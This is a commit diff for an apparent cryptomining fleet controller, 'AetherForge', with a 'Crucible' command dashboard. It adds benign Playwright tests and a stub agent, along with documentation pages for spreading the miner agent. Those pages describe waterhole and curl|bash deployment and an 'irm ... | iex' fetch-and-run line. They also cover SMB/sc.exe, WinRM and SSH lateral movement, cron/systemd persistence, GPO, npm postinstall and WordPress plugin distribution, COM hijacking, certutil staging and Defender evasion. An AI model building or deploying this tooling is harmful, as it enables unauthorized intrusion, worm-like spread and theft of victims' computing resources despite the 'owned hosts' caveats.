Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
71
server/web/e2e/crucible-bulk.spec.ts
Normal file
71
server/web/e2e/crucible-bulk.spec.ts
Normal file
@@ -0,0 +1,71 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { fetchFleetSecret, loginToDashboard } from './fixtures';
|
||||
import {
|
||||
connectStubAgent,
|
||||
E2E_STUB_AGENT_HOSTNAME,
|
||||
E2E_STUB_AGENT_ID,
|
||||
} from './stub-agent';
|
||||
|
||||
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
||||
|
||||
let serverReady = false;
|
||||
let disconnectStub: (() => void) | null = null;
|
||||
|
||||
test.describe('Crucible bulk command', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
try {
|
||||
const res = await request.get('/api/v1/health', { timeout: 5_000 });
|
||||
serverReady = res.ok();
|
||||
} catch {
|
||||
serverReady = false;
|
||||
}
|
||||
if (!serverReady) return;
|
||||
|
||||
const fleetSecret = await fetchFleetSecret(request);
|
||||
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
|
||||
// Allow agent_online + DB upsert to settle before UI tests.
|
||||
await new Promise((r) => setTimeout(r, 500));
|
||||
});
|
||||
|
||||
test.afterAll(() => {
|
||||
disconnectStub?.();
|
||||
disconnectStub = null;
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!serverReady,
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(
|
||||
page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
|
||||
test('bulk pause on selected online node fires POST bulk-command', async ({ page }) => {
|
||||
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
|
||||
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
|
||||
await card.click();
|
||||
await expect(page.getByText(/1 selected/)).toBeVisible();
|
||||
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
|
||||
|
||||
const bulkRequest = page.waitForRequest(
|
||||
(req) =>
|
||||
req.method() === 'POST' && req.url().includes('/api/v1/agents/bulk-command'),
|
||||
);
|
||||
|
||||
await page
|
||||
.locator('.crucible-actions-card')
|
||||
.getByRole('button', { name: 'Pause', exact: true })
|
||||
.click();
|
||||
|
||||
const request = await bulkRequest;
|
||||
expect(request.postDataJSON()).toEqual({
|
||||
agent_ids: [E2E_STUB_AGENT_ID],
|
||||
action: 'pause',
|
||||
});
|
||||
});
|
||||
});
|
||||
70
server/web/e2e/crucible-command.spec.ts
Normal file
70
server/web/e2e/crucible-command.spec.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { fetchFleetSecret, loginToDashboard } from './fixtures';
|
||||
import {
|
||||
connectStubAgent,
|
||||
E2E_STUB_AGENT_HOSTNAME,
|
||||
E2E_WHOAMI_RESPONSE,
|
||||
} from './stub-agent';
|
||||
|
||||
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
||||
|
||||
let serverReady = false;
|
||||
let disconnectStub: (() => void) | null = null;
|
||||
|
||||
test.describe('Crucible remote command', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
try {
|
||||
const res = await request.get('/api/v1/health');
|
||||
serverReady = res.ok();
|
||||
} catch {
|
||||
serverReady = false;
|
||||
}
|
||||
if (!serverReady) return;
|
||||
|
||||
const fleetSecret = await fetchFleetSecret(request);
|
||||
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
|
||||
// Allow agent_online + DB upsert to settle before UI tests.
|
||||
await new Promise((r) => setTimeout(r, 500));
|
||||
});
|
||||
|
||||
test.afterAll(() => {
|
||||
disconnectStub?.();
|
||||
disconnectStub = null;
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!serverReady,
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText(E2E_STUB_AGENT_HOSTNAME)).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
|
||||
test('whoami on selected online node shows terminal output', async ({ page }) => {
|
||||
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
||||
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
|
||||
|
||||
await page.getByRole('button', { name: 'whoami' }).click();
|
||||
|
||||
const terminal = page.locator('.crucible-terminal');
|
||||
await expect(terminal.getByText('whoami')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
|
||||
test('exec echo via master terminal shows output', async ({ page }) => {
|
||||
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
||||
await page.getByRole('button', { name: 'CMD', exact: true }).click();
|
||||
|
||||
const input = page.locator('.crucible-term-input');
|
||||
await expect(input).toBeEnabled();
|
||||
await input.fill('echo crucible-e2e-ping');
|
||||
await page.getByRole('button', { name: 'SEND' }).click();
|
||||
|
||||
const terminal = page.locator('.crucible-terminal');
|
||||
await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
});
|
||||
@@ -1,4 +1,4 @@
|
||||
import { expect, type Page } from '@playwright/test';
|
||||
import { expect, type APIRequestContext, type Page } from '@playwright/test';
|
||||
|
||||
/** Matches server/internal/api/integration_test.go testAuthUser / testAuthPass. */
|
||||
export const E2E_USER = process.env.AETHERFORGE_E2E_USER || 'testuser';
|
||||
@@ -7,6 +7,24 @@ export const E2E_PASS = process.env.AETHERFORGE_E2E_PASS || 'testpass';
|
||||
/** Seed this into the server data dir as users.json before first start (see tests/README.md). */
|
||||
export const E2E_USERS_JSON = JSON.stringify({ [E2E_USER]: E2E_PASS });
|
||||
|
||||
export function e2eAuthHeaders(): Record<string, string> {
|
||||
const token = Buffer.from(`${E2E_USER}:${E2E_PASS}`).toString('base64');
|
||||
return {
|
||||
Authorization: `Basic ${token}`,
|
||||
'X-AetherForge-Client': 'dashboard',
|
||||
};
|
||||
}
|
||||
|
||||
/** Reads fleet_secret from live server config (generated on first server start). */
|
||||
export async function fetchFleetSecret(request: APIRequestContext): Promise<string> {
|
||||
const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() });
|
||||
if (!res.ok()) {
|
||||
throw new Error(`config fetch failed: ${res.status()}`);
|
||||
}
|
||||
const body = (await res.json()) as { server?: { fleet_secret?: string } };
|
||||
return body.server?.fleet_secret ?? '';
|
||||
}
|
||||
|
||||
export async function loginToDashboard(page: Page): Promise<void> {
|
||||
await page.goto('/');
|
||||
await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 });
|
||||
|
||||
@@ -12,10 +12,15 @@ test.describe('Page smoke', () => {
|
||||
await expect(page.getByText('Machine Roster')).toBeVisible();
|
||||
});
|
||||
|
||||
test('Agents renders Fleet Roster', async ({ page }) => {
|
||||
await page.getByRole('link', { name: /Fleet Roster/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText(/NODES/i)).toBeVisible();
|
||||
test('Crucible renders node roster', async ({ page }) => {
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText(/NODE ROSTER/i)).toBeVisible();
|
||||
});
|
||||
|
||||
test('/agents redirects to Crucible', async ({ page }) => {
|
||||
await page.goto('/agents');
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
});
|
||||
|
||||
test('Settings renders Calibrate', async ({ page }) => {
|
||||
|
||||
@@ -27,7 +27,6 @@ const OFFLINE_AGENT = {
|
||||
|
||||
test.describe('Remote actions UI', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
// AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS).
|
||||
await page.addInitScript((agent) => {
|
||||
const RealWS = WebSocket;
|
||||
const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket };
|
||||
@@ -90,9 +89,6 @@ test.describe('Remote actions UI', () => {
|
||||
}
|
||||
await route.fulfill({ json: [OFFLINE_AGENT] });
|
||||
});
|
||||
await page.route('**/api/v1/agents/*/stats*', async (route) => {
|
||||
await route.fulfill({ json: [] });
|
||||
});
|
||||
await page.route('**/api/v1/builds', async (route) => {
|
||||
await route.fulfill({ json: [] });
|
||||
});
|
||||
@@ -107,22 +103,20 @@ test.describe('Remote actions UI', () => {
|
||||
});
|
||||
});
|
||||
await loginToDashboard(page);
|
||||
await page.getByRole('link', { name: /Fleet Roster/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText('Offline Node')).toBeVisible({ timeout: 10_000 });
|
||||
});
|
||||
|
||||
test('detail panel disables remote actions for offline agent', async ({ page }) => {
|
||||
test('mining ops disabled when only offline agent selected', async ({ page }) => {
|
||||
await page.getByText('Offline Node').click();
|
||||
const detail = page.locator('.agent-detail');
|
||||
await expect(detail.getByRole('heading', { name: 'Remote Control' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(detail.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
|
||||
await expect(detail.getByRole('button', { name: 'Pause' })).toBeDisabled();
|
||||
const pauseBtn = page.getByRole('button', { name: 'Pause', exact: true });
|
||||
await expect(pauseBtn).toBeDisabled();
|
||||
await expect(page.getByRole('button', { name: 'Resume', exact: true })).toBeDisabled();
|
||||
});
|
||||
|
||||
test('compact row remote actions disabled when offline', async ({ page }) => {
|
||||
test('bulk pause disabled when offline agent selected via toolbar', async ({ page }) => {
|
||||
await page.getByText('Offline Node').click();
|
||||
const compact = page.locator('.agent-list-item.expanded');
|
||||
await expect(compact.getByRole('button', { name: 'Pause' })).toBeDisabled();
|
||||
await expect(page.getByRole('button', { name: 'Pause' }).first()).toBeDisabled();
|
||||
});
|
||||
});
|
||||
|
||||
108
server/web/e2e/stub-agent.ts
Normal file
108
server/web/e2e/stub-agent.ts
Normal file
@@ -0,0 +1,108 @@
|
||||
/**
|
||||
* Minimal WebSocket agent for Playwright E2E against a live miner-server.
|
||||
* Mirrors server/internal/api/integration_test.go connectAgentViaRouter flow.
|
||||
*/
|
||||
|
||||
export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent';
|
||||
export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host';
|
||||
export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok';
|
||||
|
||||
type HubMessage = {
|
||||
type: string;
|
||||
payload: string | Record<string, unknown>;
|
||||
};
|
||||
|
||||
function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
|
||||
if (typeof payload === 'string') {
|
||||
return JSON.parse(payload) as Record<string, unknown>;
|
||||
}
|
||||
return payload;
|
||||
}
|
||||
|
||||
function wsAgentUrl(baseUrl: string): string {
|
||||
const trimmed = baseUrl.replace(/\/$/, '');
|
||||
return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
|
||||
}
|
||||
|
||||
function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
|
||||
ws.send(JSON.stringify({ type, payload }));
|
||||
}
|
||||
|
||||
function replyCommand(ws: WebSocket, action: string, command: string): void {
|
||||
let message = 'e2e-stub-ok';
|
||||
if (action === 'resume') {
|
||||
message = 'mining resumed';
|
||||
} else if (command.trim().toLowerCase() === 'whoami') {
|
||||
message = E2E_WHOAMI_RESPONSE;
|
||||
} else if (command.trim().toLowerCase().startsWith('echo ')) {
|
||||
message = command.trim().slice(5);
|
||||
}
|
||||
send(ws, 'command_result', { action, success: true, message });
|
||||
}
|
||||
|
||||
/**
|
||||
* Connect a stub agent that answers exec/powershell commands on the live server.
|
||||
* Returns a cleanup function that closes the socket.
|
||||
*/
|
||||
export async function connectStubAgent(
|
||||
baseUrl: string,
|
||||
fleetSecret = '',
|
||||
): Promise<() => void> {
|
||||
const ws = new WebSocket(wsAgentUrl(baseUrl));
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('stub agent ws open timeout')), 10_000);
|
||||
ws.addEventListener('open', () => {
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
}, { once: true });
|
||||
ws.addEventListener('error', () => {
|
||||
clearTimeout(timer);
|
||||
reject(new Error('stub agent ws connection failed'));
|
||||
}, { once: true });
|
||||
});
|
||||
|
||||
send(ws, 'auth', {
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
fleet_secret: fleetSecret,
|
||||
hostname: E2E_STUB_AGENT_HOSTNAME,
|
||||
version: '1.0.0-e2e',
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000);
|
||||
ws.addEventListener('message', (ev) => {
|
||||
const msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
if (msg.type !== 'auth_response') return;
|
||||
clearTimeout(timer);
|
||||
const body = parsePayload(msg.payload);
|
||||
if (body.success !== true) {
|
||||
reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`));
|
||||
return;
|
||||
}
|
||||
resolve();
|
||||
}, { once: true });
|
||||
});
|
||||
|
||||
ws.addEventListener('message', (ev) => {
|
||||
let msg: HubMessage;
|
||||
try {
|
||||
msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
if (msg.type !== 'command') return;
|
||||
const payload = parsePayload(msg.payload);
|
||||
const action = String(payload.action ?? '');
|
||||
const command = String(payload.command ?? '');
|
||||
replyCommand(ws, action, command);
|
||||
});
|
||||
|
||||
return () => {
|
||||
ws.close();
|
||||
};
|
||||
}
|
||||
@@ -26,9 +26,13 @@
|
||||
<li><a href="#fusion-media">Fusion media</a></li>
|
||||
<li><a href="#usb">USB</a></li>
|
||||
<li><a href="#lan">LAN kindling</a></li>
|
||||
<li><a href="#winrm-bootstrap">WinRM bootstrap</a></li>
|
||||
<li><a href="#linux-lotl">Linux LOTL</a></li>
|
||||
<li><a href="#enterprise-gpo">GPO / Intune</a></li>
|
||||
<li><a href="#wordpress">WordPress plugin</a></li>
|
||||
<li><a href="#npm-helper">npm postinstall</a></li>
|
||||
<li><a href="#social-funnel">Social funnel</a></li>
|
||||
<li><a href="#lotl-onion">LOTL Onion</a></li>
|
||||
<li><a href="#third-party">Third-party & gaps</a></li>
|
||||
</ul>
|
||||
</aside>
|
||||
@@ -54,9 +58,13 @@
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="winrm-bootstrap" aria-selected="false">WinRM</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="linux-lotl" aria-selected="false">Linux LOTL</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="enterprise-gpo" aria-selected="false">GPO/Intune</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lotl-onion" aria-selected="false">LOTL Onion</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
|
||||
</div>
|
||||
|
||||
@@ -230,10 +238,68 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
|
||||
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
|
||||
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
|
||||
<li><strong>UNC spread (LOTL):</strong> <code>spread_smb_unc</code> — <code>sc.exe \\host create/start</code> with <code>binPath=</code> on a Forge output UNC (<code>\\forge\pathforge$\worker.exe</code>). Pure LOLBins: <code>sc.exe</code>, <code>net.exe</code>. Path Tracer: <code>POST /api/v1/pathtrace/spread</code> dispatches on the egress hop.</li>
|
||||
<li><strong>Staging chain (LOTL):</strong> <code>stage_fetch</code> — download chunks via <code>curl.exe</code> or <code>bitsadmin</code>, <code>certutil -decode</code>, verify SHA256 from server, launch via <code>rundll32</code> or exe. Staging paths use the same traversal hygiene as upload/download.</li>
|
||||
</ol>
|
||||
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
|
||||
</div>
|
||||
|
||||
<!-- WinRM bootstrap -->
|
||||
<div class="spread-panel" data-spread-panel="winrm-bootstrap" id="winrm-bootstrap" hidden>
|
||||
<h3>WinRM bootstrap — encoded registration</h3>
|
||||
<p><span class="wiki-status working">Working</span> Export from Crucible → Spread Templates or <code>POST /api/v1/builder/spread-template-export</code>.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Owned/lab Windows hosts with remoting enabled or rights to run <code>Enable-PSRemoting</code></li>
|
||||
<li>Patient zero with <code>auto_spread</code> or <code>winrm_spread</code> forge flag for lateral encoded bootstrap</li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Template runs <code>Enable-PSRemoting</code> + base64-encoded bootstrap that fetches <code>/get</code> with <code>?pin=</code> / <code>?c=</code>.</li>
|
||||
<li>Agent starts with <code>--spread-install --defer-mining</code> — mining begins only after <code>mining_diagnostics</code> passes on C2.</li>
|
||||
<li>Optional COM hijack under benign CLSID — <strong>default off</strong>; enable only on owned machines via export checkbox.</li>
|
||||
<li>Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.</li>
|
||||
</ol>
|
||||
<p>API body: <code>{ "template": "winrm", "com_hijack": false }</code></p>
|
||||
</div>
|
||||
|
||||
<!-- Linux LOTL -->
|
||||
<div class="spread-panel" data-spread-panel="linux-lotl" id="linux-lotl" hidden>
|
||||
<h3>Linux LOTL — systemd-run & crontab</h3>
|
||||
<p><span class="wiki-status working">Working</span> SSH lateral spread + LOTL persistence options.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Passwordless SSH keys for lateral targets (<code>BatchMode=yes</code>)</li>
|
||||
<li>Forge <code>linux_lotl_mode</code>: <code>systemd_run_user</code>, <code>crontab</code>, or <code>both</code></li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li><code>autospread_unix.go</code> SCP + SSH with <code>--spread-install --defer-mining</code>.</li>
|
||||
<li>Template <code>lotl-bootstrap.sh</code>: curl <code>/get?os=linux</code>, optional <code>systemd-run --user</code> and/or crontab <code>@reboot</code>.</li>
|
||||
<li>When no CUDA: fallback chain adds <code>linux_pyopencl</code> tier via <code>python3 -c import pyopencl</code> probe before <code>stratum_direct</code>.</li>
|
||||
</ol>
|
||||
<p>Export: <code>{ "template": "linux-lotl", "lotl_mode": "both" }</code></p>
|
||||
</div>
|
||||
|
||||
<!-- GPO / Intune -->
|
||||
<div class="spread-panel" data-spread-panel="enterprise-gpo" id="enterprise-gpo" hidden>
|
||||
<h3>GPO / Intune enterprise spread</h3>
|
||||
<p><span class="wiki-status working">Working</span> Startup scripts pull agent binary — <strong>mining policy stays server-side</strong>, not in the GPO/Intune blob.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>AD GPO edit rights or Intune script assignment on owned tenant</li>
|
||||
<li>Reachable command deck URL from domain endpoints</li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li><strong>GPO:</strong> Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code> (irm install.ps1 or fetch worker).</li>
|
||||
<li><strong>Intune:</strong> Assign <code>intune-startup.ps1</code> as proactive remediation / platform script.</li>
|
||||
<li>Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.</li>
|
||||
<li><code>AETHER_DEFER_MINING=1</code> / <code>--defer-mining</code> until diagnostics pass.</li>
|
||||
</ol>
|
||||
<p>Export templates: <code>gpo</code> and <code>intune</code> via spread-template-export. Crucible → Spread tab → Spread Templates.</p>
|
||||
</div>
|
||||
|
||||
<!-- WordPress -->
|
||||
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
|
||||
<h3>WordPress plugin — owned-site supply chain</h3>
|
||||
@@ -306,6 +372,42 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
|
||||
</div>
|
||||
|
||||
<!-- LOTL Onion -->
|
||||
<div class="spread-panel" data-spread-panel="lotl-onion" id="lotl-onion" hidden>
|
||||
<h3>LOTL Onion — native-tool spread tier chain</h3>
|
||||
<p>
|
||||
<span class="wiki-status working">Working</span>
|
||||
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
|
||||
no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
|
||||
</p>
|
||||
<h4>Default tier order (docker → GPO)</h4>
|
||||
<p class="form-hint">
|
||||
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
|
||||
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
|
||||
</p>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Tier</th><th>One-line</th></tr></thead>
|
||||
<tbody>
|
||||
<tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
|
||||
<tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
|
||||
<tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>
|
||||
<tr id="lotl-tier-dotnet"><td><strong>dotnet</strong></td><td>dotnet tool-run bootstrap — no standalone payload exe</td></tr>
|
||||
<tr id="lotl-tier-bits_curl"><td><strong>bits/curl</strong></td><td>BITS transfer or curl|bash to <code>/install.ps1</code> — fileless fetch</td></tr>
|
||||
<tr id="lotl-tier-smb"><td><strong>smb</strong></td><td>admin$ / C$ copy + SCM — classic lateral on open 445</td></tr>
|
||||
<tr id="lotl-tier-winrm"><td><strong>winrm</strong></td><td>Opportunistic PS remoting when 5985/5986 responds</td></tr>
|
||||
<tr id="lotl-tier-linux"><td><strong>linux</strong></td><td>SSH lateral on Unix agents — same wallet, no extra drop</td></tr>
|
||||
<tr id="lotl-tier-gpo"><td><strong>gpo</strong></td><td>Domain startup/logon script push — operator-owned AD only</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<h4>Forge steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>
|
||||
<li>Set <strong>XMR Wallet Address</strong> — same field as every other preset; payout goes here.</li>
|
||||
<li>Forge once; tier order updates via server config when policy-from-server is on.</li>
|
||||
</ol>
|
||||
<a class="spread-deck-link" href="/forge">Open Forge →</a>
|
||||
</div>
|
||||
|
||||
<!-- Third-party -->
|
||||
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
|
||||
<h3>Third-party platforms & gaps</h3>
|
||||
|
||||
@@ -110,6 +110,15 @@ Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
|
||||
|
||||
---
|
||||
|
||||
## LOTL staging & LAN spread (agent commands)
|
||||
|
||||
| Technique | LOLBins | AetherForge mapping |
|
||||
|-----------|---------|---------------------|
|
||||
| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). |
|
||||
| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc` — `sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. |
|
||||
|
||||
---
|
||||
|
||||
## Key References
|
||||
|
||||
- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)
|
||||
|
||||
@@ -42,6 +42,8 @@
|
||||
<li><a href="#path-tracer">Path Tracer</a></li>
|
||||
<li><a href="#agent">Agent Reference</a></li>
|
||||
<li><a href="#mining">Mining</a></li>
|
||||
<li><a href="#av-safe">AV-Safe Mining</a></li>
|
||||
<li><a href="#container-mining">Container Mining</a></li>
|
||||
<li><a href="#platform-matrix">Platform Matrix</a></li>
|
||||
<li><a href="#alerts-ai">Alerts & AI</a></li>
|
||||
<li><a href="#security-auth">Security</a></li>
|
||||
@@ -875,6 +877,109 @@ https://your.site/get?pin={build_id}&c=docs</code></pre>
|
||||
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
</section>
|
||||
|
||||
<section id="av-safe">
|
||||
<h2>AV-Safe Mining — Default Strategy</h2>
|
||||
<p>
|
||||
New forges default to <strong>in-process RandomX</strong> (<code>miner_execution=inprocess</code>).
|
||||
The agent hashes Monero inside the Go binary via <code>go-randomx</code> — no XMRig, no child
|
||||
<code>.exe</code> download. Use the Forge <strong>AV-Safe</strong> operation chip or preset for
|
||||
CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.
|
||||
</p>
|
||||
|
||||
<h3>Why turning Defender "off" often does nothing</h3>
|
||||
<ul>
|
||||
<li><strong>Real-time protection</strong> (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.</li>
|
||||
<li><strong>Tamper Protection</strong> — blocks <code>Set-MpPreference</code>, registry disables, and agent <code>SilentAVExclusion</code> without admin + temporary tamper off.</li>
|
||||
<li><strong>Cloud-delivered protection</strong> — uploads unknown binaries; garbled/obfuscated agents score higher.</li>
|
||||
<li><strong>Controlled folder access</strong> — blocks writes to Documents/Desktop even when RTP is "off".</li>
|
||||
<li><strong>Behavioral / AMSI</strong> — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.</li>
|
||||
<li><strong>Third-party AV</strong> — McAfee, Norton, etc. ignore Windows Security UI entirely.</li>
|
||||
</ul>
|
||||
|
||||
<h3>Windows operator checklist</h3>
|
||||
<ol>
|
||||
<li>Forge with <strong>AV-Safe</strong> or <strong>Miner Execution → In-process RandomX</strong>.</li>
|
||||
<li>Calibrate → <strong>Windows Defender Exclusions</strong> → copy/download <code>.ps1</code> → run elevated on each worker.</li>
|
||||
<li>Windows Security → Virus & threat protection → Manage settings → turn off <strong>Tamper Protection</strong> briefly while applying exclusions.</li>
|
||||
<li>Add path exclusion for install dir (default under <code>%LOCALAPPDATA%\CryptoMiner\</code>) and process exclusion for forged <code>.exe</code> name.</li>
|
||||
<li>Disable or allowlist <strong>Controlled folder access</strong> if the agent cannot write its install tree.</li>
|
||||
<li>Crucible → <strong>Mining Diagnostics</strong> on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.</li>
|
||||
<li>For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.</li>
|
||||
</ol>
|
||||
|
||||
<h3>Honest limits</h3>
|
||||
<p>
|
||||
No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is:
|
||||
<strong>in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU</strong>.
|
||||
Container mode and remote <code>defender_off</code> are optional layers, not guarantees.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section id="container-mining">
|
||||
<h2>Container Mining — Optional Isolation</h2>
|
||||
<p>
|
||||
